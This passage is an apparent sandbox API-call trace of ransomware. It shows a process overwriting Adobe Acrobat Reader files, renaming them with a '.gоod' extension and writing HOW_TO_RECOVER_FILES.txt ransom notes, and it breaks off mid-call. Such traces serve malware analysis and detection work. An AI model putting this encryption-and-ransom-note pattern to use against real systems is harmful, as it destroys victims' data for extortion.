[0086.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrservicesupdater.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0086.664] GetFileType (hFile=0x6b4) returned 0x1 [0086.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0086.664] GetFileType (hFile=0x6b4) returned 0x1 [0086.664] WriteFile (in: hFile=0x6b4, lpBuffer=0x333f5d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x333f5d0*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0086.664] CloseHandle (hObject=0x6b4) returned 1 [0086.664] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe", lpFilePart=0x0) returned 0x54 [0086.665] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe.gоod", lpFilePart=0x0) returned 0x59 [0086.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0086.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrservicesupdater.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdbc431b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2fdf375f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1327a00)) returned 1 [0086.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0086.665] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrservicesupdater.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrServicesUpdater.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\rdrservicesupdater.exe.gоod")) returned 1 [0086.665] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0086.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0086.665] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\snapshot_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x33f5560 | out: lpFileInformation=0x33f5560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0086.666] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0086.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0086.666] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\snapshot_blob.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0086.666] GetFileType (hFile=0x6b4) returned 0x1 [0086.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0086.666] GetFileType (hFile=0x6b4) returned 0x1 [0086.666] GetFileSize (in: hFile=0x6b4, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x0 [0086.666] CloseHandle (hObject=0x6b4) returned 1 [0086.701] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0086.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0086.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\snapshot_blob.bin"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0086.702] GetFileType (hFile=0x6b4) returned 0x1 [0086.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0086.702] GetFileType (hFile=0x6b4) returned 0x1 [0086.702] WriteFile (in: hFile=0x6b4, lpBuffer=0x346c010*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x346c010*, lpNumberOfBytesWritten=0x1f35be58*=0x10, lpOverlapped=0x0) returned 1 [0086.703] CloseHandle (hObject=0x6b4) returned 1 [0086.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", lpFilePart=0x0) returned 0x4f [0086.703] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin.gоod", lpFilePart=0x0) returned 0x54 [0086.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0086.703] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\snapshot_blob.bin"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2fe3fbc0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0086.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0086.703] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\snapshot_blob.bin"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\snapshot_blob.bin.gоod")) returned 1 [0086.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0086.704] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales", lpFilePart=0x0) returned 0x45 [0086.704] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0086.704] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.705] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0086.705] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.705] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0086.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0086.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0086.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0086.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales", lpFilePart=0x0) returned 0x45 [0086.705] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0086.705] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.706] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0086.706] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 0 [0086.706] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0086.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0086.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0086.706] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0086.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0086.706] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\locales\\en-us.pak"), fInfoLevelId=0x0, lpFileInformation=0x347cdf8 | out: lpFileInformation=0x347cdf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0087.101] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1f35af20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0087.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b440) returned 1 [0087.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\locales\\en-us.pak"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.101] GetFileType (hFile=0x7ac) returned 0x1 [0087.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b3b0) returned 1 [0087.101] GetFileType (hFile=0x7ac) returned 0x1 [0087.101] GetFileSize (in: hFile=0x7ac, lpFileSizeHigh=0x1f35b5e8 | out: lpFileSizeHigh=0x1f35b5e8*=0x0) returned 0x0 [0087.101] CloseHandle (hObject=0x7ac) returned 1 [0087.128] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1f35af20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0087.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b440) returned 1 [0087.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\locales\\en-us.pak"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0087.129] GetFileType (hFile=0x7ac) returned 0x1 [0087.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b3b0) returned 1 [0087.129] GetFileType (hFile=0x7ac) returned 0x1 [0087.129] WriteFile (in: hFile=0x7ac, lpBuffer=0x34aabd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b428, lpOverlapped=0x0 | out: lpBuffer=0x34aabd0*, lpNumberOfBytesWritten=0x1f35b428*=0x10, lpOverlapped=0x0) returned 1 [0087.130] CloseHandle (hObject=0x7ac) returned 1 [0087.130] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0087.130] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak.gоod", lpFilePart=0x0) returned 0x54 [0087.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0087.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\locales\\en-us.pak"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3026be13, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0087.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0087.131] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\locales\\en-us.pak"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\locales\\en-us.pak.gоod")) returned 1 [0087.131] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5e [0087.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0087.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\locales\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0087.131] GetFileType (hFile=0x7ac) returned 0x1 [0087.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0087.131] GetFileType (hFile=0x7ac) returned 0x1 [0087.132] WriteFile (in: hFile=0x7ac, lpBuffer=0x34ae2d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x34ae2d0*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0087.133] CloseHandle (hObject=0x7ac) returned 1 [0087.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0087.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0087.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0087.474] GetFileType (hFile=0x768) returned 0x1 [0087.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0087.474] GetFileType (hFile=0x768) returned 0x1 [0087.475] WriteFile (in: hFile=0x768, lpBuffer=0x374a778*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x374a778*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0087.476] CloseHandle (hObject=0x768) returned 1 [0087.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0087.476] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR", lpFilePart=0x0) returned 0x39 [0087.476] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0087.477] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.478] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0087.478] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.478] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0087.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0087.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0087.478] SetThreadErrorMode 